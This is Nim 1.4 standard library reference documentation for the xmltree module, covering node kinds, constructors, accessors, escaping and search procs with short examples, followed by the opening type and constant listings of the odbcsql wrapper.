[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L37) ``` XmlNodeKind = enum xnText, ## a text element xnVerbatimText, xnElement, ## an element with 0 or more children xnCData, ## a CDATA node xnEntity, ## an entity (like ``&thing;``) xnComment ## an XML comment ``` Different kinds of XML nodes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L42) ``` XmlAttributes = StringTableRef ``` An alias for a string to string mapping. Use [toXmlAttributes proc](#toXmlAttributes,varargs%5Btuple%5Bstring,string%5D%5D) to create `XmlAttributes`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L50) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L50) Consts ------ ``` xmlHeader = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n" ``` Header to use for complete XML output. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L66) Procs ----- ``` proc newElement(tag: string): XmlNode {...}{.raises: [], tags: [].} ``` Creates a new `XmlNode` of kind `xnElement` with the given `tag`. See also: * [newXmlTree proc](#newXmlTree,string,openArray%5BXmlNode%5D,XmlAttributes) * [<> macro](#<>.m,untyped) **Example:** ``` var a = newElement("firstTag") a.add newElement("childTag") assert a.kind == xnElement assert $a == """<firstTag> <childTag /> </firstTag>""" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L73) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L73) ``` proc newText(text: string): XmlNode {...}{.raises: [], tags: [].} ``` Creates a new `XmlNode` of kind `xnText` with the text `text`. **Example:** ``` var b = newText("my text") assert b.kind == xnText assert $b == "my text" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L92) ``` proc newVerbatimText(text: string): XmlNode {...}{.raises: [], tags: [].} ``` Creates a new `XmlNode` of kind `xnVerbatimText` with the text `text`. **Since**: Version 1.3. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L102) ``` proc newComment(comment: string): XmlNode {...}{.raises: [], tags: [].} ``` Creates a new `XmlNode` of kind `xnComment` with the text `comment`. **Example:** ``` var c = newComment("my comment") assert c.kind == xnComment assert $c == "<!-- my comment -->" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L108) ``` proc newCData(cdata: string): XmlNode {...}{.raises: [], tags: [].} ``` Creates a new `XmlNode` of kind `xnCData` with the text `cdata`. **Example:** ``` var d = newCData("my cdata") assert d.kind == xnCData assert $d == "<![CDATA[my cdata]]>" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L118) ``` proc newEntity(entity: string): XmlNode {...}{.raises: [], tags: [].} ``` Creates a new `XmlNode` of kind `xnEntity` with the text `entity`. **Example:** ``` var e = newEntity("my entity") assert e.kind == xnEntity assert $e == "&my entity;" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L128) ``` proc newXmlTree(tag: string; children: openArray[XmlNode]; attributes: XmlAttributes = nil): XmlNode {...}{.raises: [], tags: [].} ``` Creates a new XML tree with `tag`, `children` and `attributes`. See also: * [newElement proc](#newElement,string) * [<> macro](#<>.m,untyped) **Example:** ``` var g = newElement("myTag") g.add newText("some text") g.add newComment("this is comment") var h = newElement("secondTag") h.add newEntity("some entity") let att = {"key1": "first value", "key2": "second value"}.toXmlAttributes let k = newXmlTree("treeTag", [g, h], att) doAssert $k == """<treeTag key1="first value" key2="second value"> <myTag>some text<!-- this is comment --></myTag> <secondTag>&some entity;</secondTag> </treeTag>""" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L138) ``` proc text(n: XmlNode): string {...}{.inline, raises: [], tags: [].} ``` Gets the associated text with the node `n`. `n` can be a CDATA, Text, comment, or entity node. See also: * [text= proc](#text=,XmlNode,string) for text setter * [tag proc](#tag,XmlNode) for tag getter * [tag= proc](#tag=,XmlNode,string) for tag setter * [innerText proc](#innerText,XmlNode) **Example:** ``` var c = newComment("my comment") assert $c == "<!-- my comment -->" assert c.text == "my comment" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L166) ``` proc text=(n: XmlNode; text: string) {...}{.inline, raises: [], tags: [].} ``` Sets the associated text with the node `n`. `n` can be a CDATA, Text, comment, or entity node. See also: * [text proc](#text,XmlNode) for text getter * [tag proc](#tag,XmlNode) for tag getter * [tag= proc](#tag=,XmlNode,string) for tag setter **Example:** ``` var e = newEntity("my entity") assert $e == "&my entity;" e.text = "a new entity text" assert $e == "&a new entity text;" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L184) ``` proc tag(n: XmlNode): string {...}{.inline, raises: [], tags: [].} ``` Gets the tag name of `n`. `n` has to be an `xnElement` node. See also: * [text proc](#text,XmlNode) for text getter * [text= proc](#text=,XmlNode,string) for text setter * [tag= proc](#tag=,XmlNode,string) for tag setter * [innerText proc](#innerText,XmlNode) **Example:** ``` var a = newElement("firstTag") a.add newElement("childTag") assert $a == """<firstTag> <childTag /> </firstTag>""" assert a.tag == "firstTag" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L202) ``` proc tag=(n: XmlNode; tag: string) {...}{.inline, raises: [], tags: [].} ``` Sets the tag name of `n`. `n` has to be an `xnElement` node. See also: * [text proc](#text,XmlNode) for text getter * [text= proc](#text=,XmlNode,string) for text setter * [tag proc](#tag,XmlNode) for tag getter **Example:** ``` var a = newElement("firstTag") a.add newElement("childTag") assert $a == """<firstTag> <childTag /> </firstTag>""" a.tag = "newTag" assert $a == """<newTag> <childTag /> </newTag>""" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L223) ``` proc rawText(n: XmlNode): string {...}{.inline, raises: [], tags: [].} ``` Returns the underlying 'text' string by reference. This is only used for speed hacks. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L246) ``` proc rawTag(n: XmlNode): string {...}{.inline, raises: [], tags: [].} ``` Returns the underlying 'tag' string by reference. This is only used for speed hacks. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L255) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L255) ``` proc innerText(n: XmlNode): string {...}{.raises: [], tags: [].} ``` Gets the inner text of `n`:* If `n` is `xnText` or `xnEntity`, returns its content. * If `n` is `xnElement`, runs recursively on each child node and concatenates the results. * Otherwise returns an empty string. See also: * [text proc](#text,XmlNode) **Example:** ``` var f = newElement("myTag") f.add newText("my text") f.add newComment("my comment") f.add newEntity("my entity") assert $f == "<myTag>my text<!-- my comment -->&my entity;</myTag>" assert innerText(f) == "my textmy entity" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L264) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L264) ``` proc add(father, son: XmlNode) {...}{.inline, raises: [], tags: [].} ``` Adds the child `son` to `father`. See also: * [insert proc](#insert,XmlNode,XmlNode,int) * [delete proc](#delete,XmlNode,Natural) **Example:** ``` var f = newElement("myTag") f.add newText("my text") f.add newElement("sonTag") f.add newEntity("my entity") assert $f == "<myTag>my text<sonTag />&my entity;</myTag>" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L295) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L295) ``` proc insert(father, son: XmlNode; index: int) {...}{.inline, raises: [], tags: [].} ``` Inserts the child `son` to a given position in `father`. `father` and `son` must be of `xnElement` kind. See also: * [add proc](#add,XmlNode,XmlNode) * [delete proc](#delete,XmlNode,Natural) **Example:** ``` var f = newElement("myTag") f.add newElement("first") f.insert(newElement("second"), 0) assert $f == """<myTag> <second /> <first /> </myTag>""" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L309) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L309) ``` proc delete(n: XmlNode; i: Natural) {...}{.raises: [], tags: [].} ``` Deletes the `i`'th child of `n`. See also: * [add proc](#add,XmlNode,XmlNode) * [insert proc](#insert,XmlNode,XmlNode,int) **Example:** ``` var f = newElement("myTag") f.add newElement("first") f.insert(newElement("second"), 0) f.delete(0) assert $f == """<myTag> <first /> </myTag>""" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L332) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L332) ``` proc len(n: XmlNode): int {...}{.inline, raises: [], tags: [].} ``` Returns the number of `n`'s children. **Example:** ``` var f = newElement("myTag") f.add newElement("first") f.insert(newElement("second"), 0) assert len(f) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L350) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L350) ``` proc kind(n: XmlNode): XmlNodeKind {...}{.inline, raises: [], tags: [].} ``` Returns `n`'s kind. **Example:** ``` var a = newElement("firstTag") assert a.kind == xnElement var b = newText("my text") assert b.kind == xnText ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L359) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L359) ``` proc `[]`(n: XmlNode; i: int): XmlNode {...}{.inline, raises: [], tags: [].} ``` Returns the `i`'th child of `n`. **Example:** ``` var f = newElement("myTag") f.add newElement("first") f.insert(newElement("second"), 0) assert $f[1] == "<first />" assert $f[0] == "<second />" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L368) ``` proc `[]`(n: var XmlNode; i: int): var XmlNode {...}{.inline, raises: [], tags: [].} ``` Returns the `i`'th child of `n` so that it can be modified. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L380) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L380) ``` proc clear(n: var XmlNode) {...}{.raises: [], tags: [].} ``` Recursively clears all children of an XmlNode. **Example:** ``` var g = newElement("myTag") g.add newText("some text") g.add newComment("this is comment") var h = newElement("secondTag") h.add newEntity("some entity") let att = {"key1": "first value", "key2": "second value"}.toXmlAttributes var k = newXmlTree("treeTag", [g, h], att) doAssert $k == """<treeTag key1="first value" key2="second value"> <myTag>some text<!-- this is comment --></myTag> <secondTag>&some entity;</secondTag> </treeTag>""" clear(k) doAssert $k == """<treeTag key1="first value" key2="second value" />""" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L385) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L385) ``` proc toXmlAttributes(keyValuePairs: varargs[tuple[key, val: string]]): XmlAttributes {...}{. raises: [], tags: [].} ``` Converts `{key: value}` pairs into `XmlAttributes`. **Example:** ``` let att = {"key1": "first value", "key2": "second value"}.toXmlAttributes var j = newElement("myTag") j.attrs = att doAssert $j == """<myTag key1="first value" key2="second value" />""" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L442) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L442) ``` proc attrs(n: XmlNode): XmlAttributes {...}{.inline, raises: [], tags: [].} ``` Gets the attributes belonging to `n`. Returns `nil` if attributes have not been initialised for this node. See also: * [attrs= proc](#attrs=,XmlNode,XmlAttributes) for XmlAttributes setter * [attrsLen proc](#attrsLen,XmlNode) for number of attributes * [attr proc](#attr,XmlNode,string) for finding an attribute **Example:** ``` var j = newElement("myTag") assert j.attrs == nil let att = {"key1": "first value", "key2": "second value"}.toXmlAttributes j.attrs = att assert j.attrs == att ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L455) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L455) ``` proc attrs=(n: XmlNode; attr: XmlAttributes) {...}{.inline, raises: [], tags: [].} ``` Sets the attributes belonging to `n`. See also: * [attrs proc](#attrs,XmlNode) for XmlAttributes getter * [attrsLen proc](#attrsLen,XmlNode) for number of attributes * [attr proc](#attr,XmlNode,string) for finding an attribute **Example:** ``` var j = newElement("myTag") assert j.attrs == nil let att = {"key1": "first value", "key2": "second value"}.toXmlAttributes j.attrs = att assert j.attrs == att ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L474) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L474) ``` proc attrsLen(n: XmlNode): int {...}{.inline, raises: [], tags: [].} ``` Returns the number of `n`'s attributes. See also: * [attrs proc](#attrs,XmlNode) for XmlAttributes getter * [attrs= proc](#attrs=,XmlNode,XmlAttributes) for XmlAttributes setter * [attr proc](#attr,XmlNode,string) for finding an attribute **Example:** ``` var j = newElement("myTag") assert j.attrsLen == 0 let att = {"key1": "first value", "key2": "second value"}.toXmlAttributes j.attrs = att assert j.attrsLen == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L491) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L491) ``` proc attr(n: XmlNode; name: string): string {...}{.raises: [], tags: [].} ``` Finds the first attribute of `n` with a name of `name`. Returns "" on failure. See also: * [attrs proc](#attrs,XmlNode) for XmlAttributes getter * [attrs= proc](#attrs=,XmlNode,XmlAttributes) for XmlAttributes setter * [attrsLen proc](#attrsLen,XmlNode) for number of attributes **Example:** ``` var j = newElement("myTag") let att = {"key1": "first value", "key2": "second value"}.toXmlAttributes j.attrs = att assert j.attr("key1") == "first value" assert j.attr("key2") == "second value" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L508) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L508) ``` proc clientData(n: XmlNode): int {...}{.inline, raises: [], tags: [].} ``` Gets the client data of `n`. The client data field is used by the HTML parser and generator. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L527) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L527) ``` proc clientData=(n: XmlNode; data: int) {...}{.inline, raises: [], tags: [].} ``` Sets the client data of `n`. The client data field is used by the HTML parser and generator. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L533) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L533) ``` proc addEscaped(result: var string; s: string) {...}{.raises: [], tags: [].} ``` The same as [result.add(escape(s))](#escape,string), but more efficient. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L539) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L539) ``` proc escape(s: string): string {...}{.raises: [], tags: [].} ``` Escapes `s` for inclusion into an XML document. Escapes these characters: | char | is converted to | | --- | --- | | `<` | `&lt;` | | `>` | `&gt;` | | `&` | `&amp;` | | `"` | `&quot;` | | `'` | `&apos;` | You can also use [addEscaped proc](#addEscaped,string,string). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L550) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L550) ``` proc add(result: var string; n: XmlNode; indent = 0; indWidth = 2; addNewLines = true) {...}{.raises: [], tags: [].} ``` Adds the textual representation of `n` to string `result`. **Example:** ``` var a = newElement("firstTag") b = newText("my text") c = newComment("my comment") s = "" s.add(c) s.add(a) s.add(b) assert s == "<!-- my comment --><firstTag />my text" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L575) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L575) ``` proc `$`(n: XmlNode): string {...}{.raises: [], tags: [].} ``` Converts `n` into its string representation. No `<$xml ...$>` declaration is produced, so that the produced XML fragments are composable. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L663) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L663) ``` proc child(n: XmlNode; name: string): XmlNode {...}{.raises: [], tags: [].} ``` Finds the first child element of `n` with a name of `name`. Returns `nil` on failure. **Example:** ``` var f = newElement("myTag") f.add newElement("firstSon") f.add newElement("secondSon") f.add newElement("thirdSon") assert $(f.child("secondSon")) == "<secondSon />" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L671) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L671) ``` proc findAll(n: XmlNode; tag: string; result: var seq[XmlNode]; caseInsensitive = false) {...}{.raises: [], tags: [].} ``` Iterates over all the children of `n` returning those matching `tag`. Found nodes satisfying the condition will be appended to the `result` sequence. **Example:** ``` var b = newElement("good") c = newElement("bad") d = newElement("BAD") e = newElement("GOOD") b.add newText("b text") c.add newText("c text") d.add newText("d text") e.add newText("e text") let a = newXmlTree("father", [b, c, d, e]) var s = newSeq[XmlNode]() a.findAll("good", s) assert $s == "@[<good>b text</good>]" s.setLen(0) a.findAll("good", s, caseInsensitive = true) assert $s == "@[<good>b text</good>, <GOOD>e text</GOOD>]" s.setLen(0) a.findAll("BAD", s) assert $s == "@[<BAD>d text</BAD>]" s.setLen(0) a.findAll("BAD", s, caseInsensitive = true) assert $s == "@[<bad>c text</bad>, <BAD>d text</BAD>]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L687) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L687) ``` proc findAll(n: XmlNode; tag: string; caseInsensitive = false): seq[XmlNode] {...}{. raises: [], tags: [].} ``` A shortcut version to assign in let blocks. **Example:** ``` var b = newElement("good") c = newElement("bad") d = newElement("BAD") e = newElement("GOOD") b.add newText("b text") c.add newText("c text") d.add newText("d text") e.add newText("e text") let a = newXmlTree("father", [b, c, d, e]) assert $(a.findAll("good")) == "@[<good>b text</good>]" assert $(a.findAll("BAD")) == "@[<BAD>d text</BAD>]" assert $(a.findAll("good", caseInsensitive = true)) == "@[<good>b text</good>, <GOOD>e text</GOOD>]" assert $(a.findAll("BAD", caseInsensitive = true)) == "@[<bad>c text</bad>, <BAD>d text</BAD>]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L726) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L726) Iterators --------- ``` iterator items(n: XmlNode): XmlNode {...}{.inline, raises: [], tags: [].} ``` Iterates over all direct children of `n`. **Example:** ``` var g = newElement("myTag") g.add newText("some text") g.add newComment("this is comment") var h = newElement("secondTag") h.add newEntity("some entity") g.add h assert $g == "<myTag>some text<!-- this is comment --><secondTag>&some entity;</secondTag></myTag>" # for x in g: # the same as `for x in items(g):` # echo x # some text # <!-- this is comment --> # <secondTag>&some entity;<![CDATA[some cdata]]></secondTag> ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L413) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L413) ``` iterator mitems(n: var XmlNode): var XmlNode {...}{.inline, raises: [], tags: [].} ``` Iterates over all direct children of `n` so that they can be modified. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L437) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L437) Macros ------ ``` macro `<>`(x: untyped): untyped ``` Constructor macro for XML. Example usage: ``` <>a(href="http://nim-lang.org", newText("Nim rules.")) ``` Produces an XML tree for: ``` <a href="http://nim-lang.org">Nim rules.</a> ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L771) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/xmltree.nim#L771)
programming_docs
nim odbcsql odbcsql ======= Types ----- ``` TSqlChar = char ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L40) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L40) ``` TSqlSmallInt = int16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L41) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L41) ``` SqlUSmallInt = int16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L42) ``` SqlHandle = pointer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L43) ``` SqlHEnv = SqlHandle ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L44) ``` SqlHDBC = SqlHandle ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L45) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L45) ``` SqlHStmt = SqlHandle ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L46) ``` SqlHDesc = SqlHandle ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L47) ``` TSqlInteger = int32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L48) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L48) ``` SqlUInteger = int32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L49) ``` TSqlLen = int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L50) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L50) ``` TSqlULen = uint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L51) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L51) ``` SqlPointer = pointer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L52) ``` TSqlReal = cfloat ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L53) ``` TSqlDouble = cdouble ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L54) ``` TSqlFloat = cdouble ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L55) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L55) ``` SqlHWND = pointer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L56) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L56) ``` PSQLCHAR = cstring ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L57) ``` PSQLINTEGER = ptr TSqlInteger ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L58) ``` PSQLUINTEGER = ptr SqlUInteger ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L59) ``` PSQLSMALLINT = ptr TSqlSmallInt ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L60) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L60) ``` PSQLUSMALLINT = ptr SqlUSmallInt ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L61) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L61) ``` PSQLREAL = ptr TSqlReal ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L62) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L62) ``` PSQLDOUBLE = ptr TSqlDouble ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L63) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L63) ``` PSQLFLOAT = ptr TSqlFloat ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L64) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L64) ``` PSQLHANDLE = ptr SqlHandle ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L65) ``` SQL_DATE_STRUCT {...}{.final, pure.} = object Year*: TSqlSmallInt Month*: SqlUSmallInt Day*: SqlUSmallInt ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L211) ``` PSQL_DATE_STRUCT = ptr SQL_DATE_STRUCT ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L216) ``` SQL_TIME_STRUCT {...}{.final, pure.} = object Hour*: SqlUSmallInt Minute*: SqlUSmallInt Second*: SqlUSmallInt ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L217) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L217) ``` PSQL_TIME_STRUCT = ptr SQL_TIME_STRUCT ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L222) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L222) ``` SQL_TIMESTAMP_STRUCT {...}{.final, pure.} = object Year*: SqlUSmallInt Month*: SqlUSmallInt Day*: SqlUSmallInt Hour*: SqlUSmallInt Minute*: SqlUSmallInt Second*: SqlUSmallInt Fraction*: SqlUInteger ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L223) ``` PSQL_TIMESTAMP_STRUCT = ptr SQL_TIMESTAMP_STRUCT ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L232) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L232) Consts ------ ``` SQL_UNKNOWN_TYPE = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L68) ``` SQL_LONGVARCHAR = -1 ``` 